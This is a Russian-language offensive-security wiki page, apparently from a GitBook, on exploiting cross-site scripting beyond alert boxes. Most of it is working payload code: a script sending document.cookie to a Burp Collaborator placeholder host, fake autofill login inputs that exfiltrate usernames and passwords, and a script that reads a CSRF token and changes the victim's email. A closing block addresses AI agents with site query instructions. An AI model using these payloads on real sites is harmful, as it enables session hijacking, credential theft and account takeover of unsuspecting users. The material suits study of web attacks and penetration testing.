# Exploiting XSS

Обычно делают нагрузку `alert(document.domain)` и этого достаточно, чтобы показать — "да, мы можем выполнять код в контексте JavaScript". Ниже примеры, как еще можем эксплуатировать эту уязвимость:

## Кража сессии (куки)

Можем отправлять куки пользователей на свой домен и выполнить hijack. Конечно, есть ограничения:

* Пользователь может быть неавторизован
* Установлен HttpOnly
* Сессия может быть привязана к еще одному фактору (например, IP-адрес)
* Время жизни сессии может быть невелика

Пример — Simple POST-request with cookies:

```markup
<script>
let data = {
    "cc": document.cookie
};
fetch("https://<YOU-COLLABORATOR>.burpcollaborator.net/", {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    redirect: 'follow',
    body: JSON.stringify(data)
});
</script>
```

## Кража паролей из форм автозаполнения

Конечно, если пользователь использует менеджеры паролей

Например, создаем блоки ввода как у оригинальной формы авторизации и менеджер паролей сам подставит туда значения:

```markup
<input type=username name="username" onchange="if (this.value.length) fetch('https://<YOU-COLLABORATOR>.burpcollaborator.net/', {method:'POST', mode: 'no-cors', body:'login:' + this.value})">
<input type=password name="password" onchange="if (this.value.length) fetch('https://<YOU-COLLABORATOR>.burpcollaborator.net/', {method:'POST', mode: 'no-cors', body:'password:' + this.value})">
```

## CSRF

Если мы можем исполнить JS, то мы можем сделать почти все, что и обычный пользователь. CSRF-токены от CSRF-атаки не спасут, если есть XSS на странице.

```markup
<script>
    fetch("/my-account", {
        method: 'GET',
        mode: 'cors',
        credentials: 'include',
        redirect: 'follow'
    }).then(response => response.text())
    .then(text => text.match(/name="csrf" value="([\w]+)"/))  // Get CSRF token
    .then(csrf => {                                           // Send request 
        fetch('/my-account/change-email', {
            method: 'POST',
            mode: 'cors',
            credentials: 'include',
            redirect: 'follow',
            body: new URLSearchParams({
                'email': 'newemail@normal-user.net',
                'csrf': csrf[1]
            })
        })
    });
</script>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecurity.gitbook.io/offensive/appsec/appsec/client-side-vulns/xss/attacks/exploiting-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
